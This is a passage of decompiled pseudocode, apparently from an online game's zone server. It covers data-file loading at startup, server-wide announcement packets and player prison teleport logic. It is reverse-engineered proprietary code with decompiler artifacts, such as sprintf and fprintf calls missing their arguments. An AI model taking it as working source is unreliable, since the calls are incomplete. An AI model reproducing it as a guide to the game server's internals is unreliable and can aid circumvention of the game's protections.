UpgradeDataBox::udb_Load(&upgradedatabox, v6); v21 = fopen("Message.txt", "a"); fprintf(v21, "%s\n"); fclose(v21); MerchantCityData::mcd_Load(&merchantcity); v22 = fopen("Message.txt", "a"); fprintf(v22, "%s\n"); fclose(v22); GatherProduce::GatherTable::gt_Load(&gathertable); v23 = fopen("Message.txt", "a"); fprintf(v23, "%s\n"); fclose(v23); GatherProduce::RecipeBook::rb_Load(&recipebook); v24 = fopen("Message.txt", "a"); fprintf(v24, "%s\n"); fclose(v24); UseEffect::UsedItemEffect::uie_Load(&useditemeffect); v25 = fopen("Message.txt", "a"); fprintf(v25, "%s\n"); fclose(v25); KQRewardDataBox::kqrdb_Load(&kqreward, v6); v26 = fopen("Message.txt", "a"); fprintf(v26, "%s\n"); fclose(v26); ItemUseFunction::iuf_Load(&itemusefunction); v27 = fopen("Message.txt", "a"); fprintf(v27, "%s\n"); fclose(v27); MagicContainer::mc_Load((MagicContainer *)&magiccontainer); v28 = fopen("Message.txt", "a"); fprintf(v28, "%s\n"); fclose(v28); MobAttackSequence::mas_Load(&mobattseq); v29 = fopen("Message.txt", "a"); fprintf(v29, "%s\n"); fclose(v29); v30 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); ChargedItemEffectDataBox::cideb_Load( &chargedbuffdatabox, "../9Data/Shine/ChargedEffect.shn", &ui_chargedbuff, v30); v31 = fopen("Message.txt", "a"); fprintf(v31, "%s\n"); fclose(v31); v32 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); ChargedItemEffectDataBox::cideb_Load(&minihousedatabox, "../9Data/Shine/MiniHouse.shn", &ui_minihouse, v32); v33 = fopen("Message.txt", "a"); fprintf(v33, "%s\n"); fclose(v33); v34 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); ChargedItemEffectDataBox::cideb_Load( &minihousefurnituredatabox, "../9Data/Shine/MiniHouseFurniture.shn", &ui_minihousefurniture, v34); v35 = fopen("Message.txt", "a"); fprintf(v35, "%s\n"); fclose(v35); MiniHouseObjAniDataBox::mhoadb_Load(&minihouseobjanidatabox); v36 = fopen("Message.txt", "a"); fprintf(v36, "%s\n"); fclose(v36); KQRegenTable::kqrt_Load(&kqregentable); v37 = fopen("Message.txt", "a"); fprintf(v37, "%s\n"); fclose(v37); RidePetDataBox::rpdb_Load((RidePetDataBox *)&ridedatabox); v38 = fopen("Message.txt", "a"); fprintf(v38, "%s\n"); fclose(v38); v39 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseRide"); PacketContainer::pcb_SetSocketSession((ORField *)&ui_ride, (ORColumnHeader *)v39); v40 = fopen("Message.txt", "a"); fprintf(v40, "%s\n"); fclose(v40); MobRoaming::MobRoamingSet::mrs_Load(&roamingpaths, v6); v41 = fopen("Message.txt", "a"); fprintf(v41, "%s\n"); fclose(v41); MiscDataTable::mdt_Load(&miscdatatable); v42 = fopen("Message.txt", "a"); fprintf(v42, "%s\n"); fclose(v42); SetItemData::SetItemClassifier::sic_Load(&setitemclassifier); v43 = fopen("Message.txt", "a"); fprintf(v43, "%s\n"); fclose(v43); ItemMall::im_Load(&itemmall); v44 = fopen("Message.txt", "a"); fprintf(v44, "%s\n"); fclose(v44); v45 = ZoneServer::zs_worlddata(&zoneserver); ZoneIPContainer::zipc_SetNextIP(&zipc, v45->nZoneNo); v46 = fopen("Message.txt", "a"); fprintf(v46, "%s\n"); fclose(v46); if ( !CCharacterTitleData::Read(&gCharacterTitleData, "../9Data/Shine/CharacterTitleData.shn", 0x759u, 0xA4u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read CharacterTitleData.shn", 0); ShineExit("ZoneServer::zs_start_old"); } v47 = fopen("Message.txt", "a"); fprintf(v47, "%s\n"); fclose(v47); if ( !CCharacterTitleData::Read( (CCharacterTitleData *)&gAnnounceSystem, "../9Data/Shine/AnnounceData.shn", 0x23Bu, 0x108u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read AnnounceData.shn", 0); ShineExit("ZoneServer::zs_start_old"); } v48 = fopen("Message.txt", "a"); fprintf(v48, "%s\n"); fclose(v48); if ( !CDataReader::Read(&gClassName, "../9Data/Shine/ClassName.shn") ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read ClassName.shn", 0); ShineExit("ZoneServer::zs_start_old"); } v49 = fopen("Message.txt", "a"); fprintf(v49, "%s\n"); fclose(v49); if ( !CDataReader::Read(&gItemUpgrade, "../9Data/Shine/ItemUpgrade.shn", 0x51u, 0xEu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read ItemUpgrade.shn", 0); ShineExit("ZoneServer::zs_start_old"); } Table::Load("AccUpGradeInfo.shn"); Table::Load("AccUpGrade.shn"); Table::Load("DamageLvGapPVE.shn"); Table::Load("DamageLvGapEVP.shn"); Table::Load("DamageLvGapPVP.shn"); Table::Load("MysteryVaultServer.shn"); v50 = fopen("Message.txt", "a"); fprintf(v50, "%s\n"); fclose(v50); MultiHitData::MultiHitTable::mht_Load(&_MultiHitTable); v51 = fopen("Message.txt", "a"); fprintf(v51, "%s\n"); fclose(v51); if ( !CDataReader::Read(&gItemDismantle, "../9Data/Shine/ItemDismantle.shn", 0x253Au, 0x66u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read ItemDismantle.shn", 0); ShineExit("ZoneServer::zs_start_old"); } v52 = fopen("Message.txt", "a"); fprintf(v52, "%s\n"); fclose(v52); v53 = gQuestData.m_ReadError; if ( !CQuestData::Read(&gQuestData, "../9Data/Shine/QuestData.shn", 0) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read Quest.shn Error Type", v53); ShineExit(0); } v54 = fopen("Message.txt", "a"); fprintf(v54, "%s\n"); fclose(v54); v55 = CQuestParserScript::LoadConvertIDfromIndexName("../9Data/Shine/World/QuestParser.txt"); if ( !(_BYTE)v55 ) { AssertClass::ac_AssertFail(&shineassert, "QuestParser.txt", v55); ShineExit(0); } v56 = fopen("Message.txt", "a"); fprintf(v56, "%s\n"); fclose(v56); if ( gQuestData.m_pDataHead ) v57 = gQuestData.m_pDataHead->NumOfQuest; else v57 = 0; v58 = 0; v59 = v57; do { if ( (unsigned __int16)v58 < dword_124E32CC->l_MaxSize ) v60 = dword_124E32CC->l_Array[(unsigned __int16)v58].ls_Content; else v60 = 0; v61 = (DiceTaiSai *)(*(int (**)(void))(*(_DWORD *)&v60->ort_TableName.ort_Name[0] + 1964))(); MoveManager::MoveManager(v61); if ( !CQuest::InitQuestBF(v62, v59) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to player quest bf alloc", v58, v59); ShineExit("ZoneServer::zs_start_old"); } ++v58; } while ( v58 < 1500 ); v63 = fopen("Message.txt", "a"); fprintf(v63, "%s\n"); fclose(v63); if ( !CDataReader::Read(&gMiniHouseObjEffect, "../9Data/Shine/MiniHouseFurnitureObjEffect.shn", 0x1213u, 0xD2u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'MiniHouseFurnitureObjEffect.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v64 = fopen("Message.txt", "a"); fprintf(v64, "%s\n"); fclose(v64); MiniHouseEndureDataBox::mhe_Load(&minihouseenduredatabox); v65 = fopen("Message.txt", "a"); fprintf(v65, "%s\n"); fclose(v65); if ( !CDataReader::Read(&gMiniHouseDiceRate, "../9Data/Shine/DiceRate.shn", 0xAu, 4u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceRate.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v66 = fopen("Message.txt", "a"); fprintf(v66, "%s\n"); fclose(v66); if ( !CDataReader::Read(&gMiniHouseDiecGame, "../9Data/Shine/DiceGame.shn", 0x831u, 0x2Cu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiecGame.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v67 = fopen("Message.txt", "a"); fprintf(v67, "%s\n"); fclose(v67); if ( !CDataReader::Read(&gMiniHouseDiceDividind, "../9Data/Shine/DiceDividind.shn", 0xA7Eu, 0x1Fu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceDividind.shn'", 0); ShineExit("ZoneServer::zs_start_old"); } v68 = CDataReader::GetRecord(&gMiniHouseDiceDividind, 0); if ( v68 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceDividind.shn'", 1); ShineExit("ZoneServer::zs_start_old"); } DiceTaiSai::Init(&gMiniHouseDiceTaiSai, *((_BYTE *)v68 + 30)); v69 = 0; do { DiceTaiSaiDividind::Init(&gMiniHouseDiceTaiSaiDividind, v69, *((_WORD *)v68 + v69)); ++v69; } while ( (unsigned int)v69 < 0xF ); if ( !DiceTaiSaiDividind::isInitFinishe(&gMiniHouseDiceTaiSaiDividind) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read 'DiceDividind.shn'", 2); ShineExit("ZoneServer::zs_start_old"); } v70 = fopen("Message.txt", "a"); fprintf(v70, "%s\n"); fclose(v70); MobDataBox::mdb_SkillStore(&mobdatabox, &skillnametree, &unk_615CF4); if ( CWeaponTitle::Read(&gWeaponTitle.baseclass_0, "../9Data/Shine/WeaponTitleData.shn", 0x6C0u, 0x40u) != 1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Init : WeaponTitleData loading failed.", 0); ShineExit("ZoneServer::zs_start_old"); } weapontitle = (CWeaponTitle *)&gWeaponTitle; v71 = fopen("Message.txt", "a"); fprintf(v71, "%s\n"); fclose(v71); NPCAction::Util::loadFromOptionReader>( &conditionManager, "../9Data/Shine/World/NPCAction.txt"); v72 = fopen("Message.txt", "a"); fprintf(v72, "%s\n"); fclose(v72); NPCAction::Util::loadFromOptionReader>( &actionManager, "../9Data/Shine/World/NPCAction.txt"); v73 = fopen("Message.txt", "a"); fprintf(v73, "%s\n"); fclose(v73); NPCAction::Util::loadTriggers(); v74 = fopen("Message.txt", "a"); fprintf(v74, "%s\n"); fclose(v74); v75 = CShnDataFileCheckSum::NotLoadFileName(&ShnDataFile); if ( !CShnDataFileCheckSum::isFileLoadAllComplete(&ShnDataFile) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read SHN Data File. ", v75); ShineExit(0); } v76 = clockwatch.cw_CurrTick; if ( zonevent.l_Finger.empty == -1 ) v77 = 0; else v77 = zonevent.vfptr->l_AllocZ(&zonevent, *(_DWORD *)&zonevent.l_Finger.empty); if ( !v77 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Init : EventReserve error", 0); ShineExit("ZoneServer::zs_start_old"); } *(_DWORD *)&v77->aeo_Flag._bf0 = v76 + 300; v77->aeo_Index = (ABSTATEINDEX)&eventheartping; *((_DWORD *)&v77->aeo_Caster + 1) = 300; if ( zonevent.l_Finger.empty == -1 ) v78 = 0; else v78 = zonevent.vfptr->l_AllocZ(&zonevent, *(_DWORD *)&zonevent.l_Finger.empty); if ( !v78 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Init : EventReserve error", 0); ShineExit("ZoneServer::zs_start_old"); } *(_DWORD *)&v78->aeo_Flag._bf0 = v76 + 10; v78->aeo_Index = (ABSTATEINDEX)&eventmobregen; *((_DWORD *)&v78->aeo_Caster + 1) = 10; v79 = fopen("Message.txt", "a"); fprintf(v79, "%s\n"); fclose(v79); NPCManager::nm_SetNPC(&npcmanager); v80 = fopen("Message.txt", "a"); fprintf(v80, "%s\n"); fclose(v80); List::l_4AllInList( (List *)&fieldlist, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))FieldMap::fm_StartScript); v81 = fopen("Message.txt", "a"); fprintf(v81, "%s\n"); fclose(v81); SpamerPenaltyDataBox::spdb_Load(&SpamerPenaltyData); FieldContainer::fc_AbstateInFieldLoad((FieldContainer *)&fieldlist); BossFieldContent::ServentBuffBossTable::sbbt_Load(&BossFieldContent::g_ServentBuffBossTable); BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load(&BossFieldContent::g_ListOfMobStateCheckAtDead); BossFieldContent::MobAutomaticActionList::maal_Load(&BossFieldContent::g_MobAutomaticActionList); --funcallanalizer.fca_stackpoint; v84 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneServer::zs_start_old"); __security_check_cookie(v83); } //----- (00542210) -------------------------------------------------------- void __thiscall CCharacterTitleData::CCharacterTitleData(BinaryData *this) { CDataReader::CDataReader(&this->baseclass_0); } //----- (00542220) -------------------------------------------------------- void __thiscall CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(CAnnounceSystem *this, char AnnounceType, const char *Msg) { char *v3; // ecx@1 const char *v4; // eax@1 const char v5; // dl@2 int v6; // esi@3 ZoneBaseSession *v7; // eax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 25601; v3[2] = AnnounceType; v3[3] = strlen(Msg) + 1; v4 = Msg; do { v5 = *v4; v4[v3 + 4 - Msg] = *v4; ++v4; } while ( v5 ); v6 = (unsigned __int8)v3[3] + 4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v6) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail(&shineassert, "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD : Packet Too Long", v6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD"); } //----- (00542330) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ItemUpgrade(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID, char nItemLevel) { CAnnounceSystem *v4; // edi@1 CDataReader::HEAD *v5; // eax@1 void *v6; // eax@3 void *v7; // esi@3 int result; // eax@4 int v9; // ecx@7 char NameStr[64]; // [sp+8h] [bp-144h]@7 char Msg[256]; // [sp+48h] [bp-104h]@7 v4 = this; v5 = this->m_AnnounceData.m_pHead; if ( v5 && v5->nNumOfRecord > 1 && (v6 = CDataReader::GetRecord(&this->m_AnnounceData, 1u), (v7 = v6) != 0) ) { if ( (unsigned int)(unsigned __int8)nItemLevel >= *((_DWORD *)v6 + 65) && ItemDataBox::operator__(&itemdatabox, nItemID) ) { *(_QWORD *)NameStr = *(_QWORD *)&pCharName->n4_name[0]; v9 = *(_DWORD *)&pCharName->n4_name[12]; *(_DWORD *)&NameStr[8] = *(_DWORD *)&pCharName->n4_name[8]; *(_DWORD *)&NameStr[12] = v9; NameStr[16] = 0; sprintf(Msg, (const char *)v7 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v4, 1, Msg); result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (00542440) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ItemTake(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID) { int result; // eax@1 unsigned int v4; // [sp+0h] [bp-4h]@0 __security_check_cookie(v4); return result; } //----- (00542460) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_LevelMax(CAnnounceSystem *this, Name4 *pCharName, char nLevel) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int v6; // ecx@5 int result; // eax@5 char NameStr[64]; // [sp+4h] [bp-144h]@5 char Msg[256]; // [sp+44h] [bp-104h]@5 v3 = this; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 4 && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 4u)) != 0 && nLevel == *((_DWORD *)v5 + 65) ) { *(_QWORD *)NameStr = *(_QWORD *)&pCharName->n4_name[0]; v6 = *(_DWORD *)&pCharName->n4_name[12]; *(_DWORD *)&NameStr[8] = *(_DWORD *)&pCharName->n4_name[8]; *(_DWORD *)&NameStr[12] = v6; NameStr[16] = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 4, Msg); result = 1; } else { result = 0; } return result; } //----- (00542530) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ClassUp(CAnnounceSystem *this, Name4 *pCharName, char nClassID) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // edi@3 int result; // eax@4 int v7; // edx@5 int v8; // ecx@5 int v9; // edx@5 char NameStr[64]; // [sp+8h] [bp-144h]@5 char Msg[256]; // [sp+48h] [bp-104h]@5 v3 = this; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 5 && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 5u)) != 0 ) { v7 = *(_DWORD *)&pCharName->n4_name[4]; *(_DWORD *)NameStr = *(_DWORD *)&pCharName->n4_name[0]; v8 = *(_DWORD *)&pCharName->n4_name[8]; *(_DWORD *)&NameStr[4] = v7; v9 = *(_DWORD *)&pCharName->n4_name[12]; *(_DWORD *)&NameStr[8] = v8; *(_DWORD *)&NameStr[12] = v9; NameStr[16] = 0; CDataReader::GetRecord(&gClassName, (unsigned __int8)nClassID); sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 5, Msg); result = 1; } else { result = 0; } return result; } //----- (00542600) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_CharacterTitle(CAnnounceSystem *this, Name4 *pCharName, char nCTType, char nCTElementNo) { CAnnounceSystem *v4; // edi@1 CDataReader::HEAD *v5; // eax@1 void *v6; // eax@3 void *v7; // esi@3 int v8; // eax@5 int result; // eax@5 char NameStr[64]; // [sp+8h] [bp-144h]@5 char Msg[256]; // [sp+48h] [bp-104h]@5 v4 = this; v5 = this->m_AnnounceData.m_pHead; if ( v5 && v5->nNumOfRecord > 6 && (v6 = CDataReader::GetRecord(&this->m_AnnounceData, 6u), (v7 = v6) != 0) && (unsigned int)(unsigned __int8)nCTElementNo >= *((_DWORD *)v6 + 65) ) { *(_QWORD *)NameStr = *(_QWORD *)&pCharName->n4_name[0]; v8 = *(_DWORD *)&pCharName->n4_name[12]; *(_DWORD *)&NameStr[8] = *(_DWORD *)&pCharName->n4_name[8]; *(_DWORD *)&NameStr[12] = v8; NameStr[16] = 0; CCharacterTitleData::GetTitleString(&gCharacterTitleData, nCTType, nCTElementNo); sprintf(Msg, (const char *)v7 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v4, 6, Msg); result = 1; } else { result = 0; } return result; } //----- (005426F0) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_Roar(CAnnounceSystem *this, Name4 *pCharName, const char *Message) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int result; // eax@4 int v7; // ecx@5 char NameStr[64]; // [sp+4h] [bp-144h]@5 char Msg[256]; // [sp+44h] [bp-104h]@5 v3 = this; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 0xB && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 0xBu)) != 0 ) { *(_QWORD *)NameStr = *(_QWORD *)&pCharName->n4_name[0]; v7 = *(_DWORD *)&pCharName->n4_name[12]; *(_DWORD *)&NameStr[8] = *(_DWORD *)&pCharName->n4_name[8]; *(_DWORD *)&NameStr[12] = v7; NameStr[16] = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 11, Msg); result = 1; } else { result = 0; } return result; } //----- (005427B0) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_ProposeAccept(CAnnounceSystem *this, Name4 *Requestor, Name4 *Acceptor) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int result; // eax@4 int v7; // ecx@5 int v8; // ecx@5 char RequestorStr[64]; // [sp+4h] [bp-184h]@5 char AcceptorStr[64]; // [sp+44h] [bp-144h]@5 char Msg[256]; // [sp+84h] [bp-104h]@5 v3 = this; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 0xC && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 0xCu)) != 0 ) { *(_QWORD *)RequestorStr = *(_QWORD *)&Requestor->n4_name[0]; v7 = *(_DWORD *)&Requestor->n4_name[12]; *(_DWORD *)&RequestorStr[8] = *(_DWORD *)&Requestor->n4_name[8]; *(_DWORD *)&RequestorStr[12] = v7; *(_QWORD *)AcceptorStr = *(_QWORD *)&Acceptor->n4_name[0]; v8 = *(_DWORD *)&Acceptor->n4_name[12]; *(_DWORD *)&AcceptorStr[8] = *(_DWORD *)&Acceptor->n4_name[8]; *(_DWORD *)&AcceptorStr[12] = v8; RequestorStr[16] = 0; AcceptorStr[16] = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 12, Msg); result = 1; } else { result = 0; } return result; } //----- (00542890) -------------------------------------------------------- int __thiscall CAnnounceSystem::AnnounceSystem_WeddingStart(CAnnounceSystem *this, Name4 *Name1, Name4 *Name2) { CAnnounceSystem *v3; // esi@1 CDataReader::HEAD *v4; // eax@1 void *v5; // eax@3 int result; // eax@4 int v7; // ecx@5 int v8; // ecx@5 char NameStr1[64]; // [sp+4h] [bp-184h]@5 char NameStr2[64]; // [sp+44h] [bp-144h]@5 char Msg[256]; // [sp+84h] [bp-104h]@5 v3 = this; v4 = this->m_AnnounceData.m_pHead; if ( v4 && v4->nNumOfRecord > 0xD && (v5 = CDataReader::GetRecord(&this->m_AnnounceData, 0xDu)) != 0 ) { *(_QWORD *)NameStr1 = *(_QWORD *)&Name1->n4_name[0]; v7 = *(_DWORD *)&Name1->n4_name[12]; *(_DWORD *)&NameStr1[8] = *(_DWORD *)&Name1->n4_name[8]; *(_DWORD *)&NameStr1[12] = v7; *(_QWORD *)NameStr2 = *(_QWORD *)&Name2->n4_name[0]; v8 = *(_DWORD *)&Name2->n4_name[12]; *(_DWORD *)&NameStr2[8] = *(_DWORD *)&Name2->n4_name[8]; *(_DWORD *)&NameStr2[12] = v8; NameStr1[16] = 0; NameStr2[16] = 0; sprintf(Msg, (const char *)v5 + 4); CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(v3, 13, Msg); result = 1; } else { result = 0; } return result; } //----- (00542970) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineObject::so_Prison_Go(__int16 nPrisonMin) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObject::so_Prison_Go"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::so_Prison_Go"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObject::so_Prison_Go"); return 1; } //----- (005429C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Prison_Go(void *this, __int16 nPrisonMin) { void *v2; // esi@1 char v3; // al@1 unsigned int v4; // eax@3 int v5; // edx@3 char *v6; // eax@3 unsigned int v7; // eax@3 MapInfo *v8; // edi@6 char *v9; // eax@8 char *v10; // eax@8 int v11; // eax@8 char v12; // al@9 char *v13; // [sp-14h] [bp-9Ch]@7 Name3 sMapName; // [sp+4h] [bp-84h]@3 NPCManager::LinkInformTemplete lnkinf; // [sp+10h] [bp-78h]@8 unsigned int v16; // [sp+78h] [bp-10h]@16 int v17; // [sp+84h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShinePlayer::so_Prison_Go"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShinePlayer::so_Prison_Go"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = **((_BYTE **)v2 + 929); v17 = 0; if ( !v3 || !*(_DWORD *)((char *)v2 + 98) ) { v13 = "ShinePlayer::so_Prison_Go"; goto LABEL_15; } *(_QWORD *)&sMapName.n3_name[4] = 0i64; *(_DWORD *)&sMapName.n3_name[0] = 0; strncpy(sMapName.n3_name, "EldPri", 0xCu); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = *(_DWORD *)&sMapName.n3_name[4]; namestring.ns_point.value = v4; v6 = (char *)&namestring + 256 * v4; *(_DWORD *)v6 = *(_DWORD *)&sMapName; *((_DWORD *)v6 + 2) = *(_DWORD *)&sMapName.n3_name[8]; *((_DWORD *)v6 + 1) = v5; v6[12] = 0; v7 = BTree::operator__(&mapdatabox.mdb_btree, v6); if ( v7 == -1 ) LOWORD(v7) = -1; v7 = (unsigned __int16)v7; if ( (unsigned __int16)v7 >= mapdatabox.mdb_maxmapid || (v8 = mapdatabox.mdb_index[v7]) == 0 ) { v13 = "ShinePlayer::so_Prison_Go"; LABEL_15: --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); goto LABEL_16; } v9 = NameString::operator__(&namestring, &sMapName); strncpy(lnkinf.linktoserver, v9, 0xCu); v10 = NameString::operator__(&namestring, &sMapName); strncpy(lnkinf.linktoclient, v10, 0xCu); v11 = *((_DWORD *)v2 + 929); lnkinf.coordx = v8->RegenX; lnkinf.coordy = v8->RegenY; lnkinf.direct = 0; if ( *(_BYTE *)v11 == 3 ) { *(_BYTE *)v11 = 1; BriefInfoBackup::bib_Restore( (BriefInfoBackup *)((char *)v2 + 89024), (CHARBRIEFINFO_NOTCAMP *)(*(_DWORD *)((char *)v2 + 32010) + 29)); *(_DWORD *)((char *)v2 + 32059) = (unsigned int)(307 * (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2)) >> 10; v12 = (*(int (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(*(_DWORD *)v2 + 1472))( v2, &lnkinf, 4, 79, 80); } else { v12 = (*(int (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(*(_DWORD *)v2 + 1472))( v2, &lnkinf, 6, 9, 10); } if ( v12 ) *(_WORD *)((char *)v2 + 32111) = nPrisonMin; --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShinePlayer::so_Prison_Go"); LABEL_16: __security_check_cookie(v16); } //----- (00542C10) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_Prison_End(int mapname, int coord) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObject::so_Prison_End"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObject::so_Prison_End"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObject::so_Prison_End"); } //----- (00542C60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Prison_End(void *this, int mapname, int coord) { void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // ecx@3 unsigned int v6; // eax@5 char *v7; // eax@5 unsigned int v8; // eax@5 char *v9; // eax@5 unsigned int v10; // edx@6 int v11; // edx@7 unsigned int v12; // eax@7 char *v13; // eax@7 unsigned int v14; // eax@7 MapInfo *v15; // eax@10 int v16; // eax@12 Name3 sMapName; // [sp+4h] [bp-84h]@3 NPCManager::LinkInformTemplete lnkinf; // [sp+10h] [bp-78h]@5 unsigned int v19; // [sp+78h] [bp-10h]@13 int v20; // [sp+84h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShinePlayer::so_Prison_End"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShinePlayer::so_Prison_End"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 98); v20 = 0; *(_WORD *)((char *)v3 + 32111) = 0; if ( v4 ) { *((_DWORD *)v3 + 23041) = 0; *((_DWORD *)v3 + 23042) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)v3 + 23045) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v3 + 23044) = 0; if ( mapname ) { v5 = *(_DWORD *)(mapname + 4); *(_DWORD *)&sMapName.n3_name[0] = *(_DWORD *)mapname; *(_QWORD *)&sMapName.n3_name[4] = __PAIR__(*(_DWORD *)(mapname + 8), v5); } else { *(_QWORD *)&sMapName.n3_name[4] = 0i64; *(_DWORD *)&sMapName.n3_name[0] = 0; strncpy(sMapName.n3_name, "Rou", 0xCu); } v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_QWORD *)v7 = *(_QWORD *)&sMapName; *((_DWORD *)v7 + 2) = *(_DWORD *)&sMapName.n3_name[8]; v7[12] = 0; strncpy(lnkinf.linktoserver, v7, 0xCu); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); 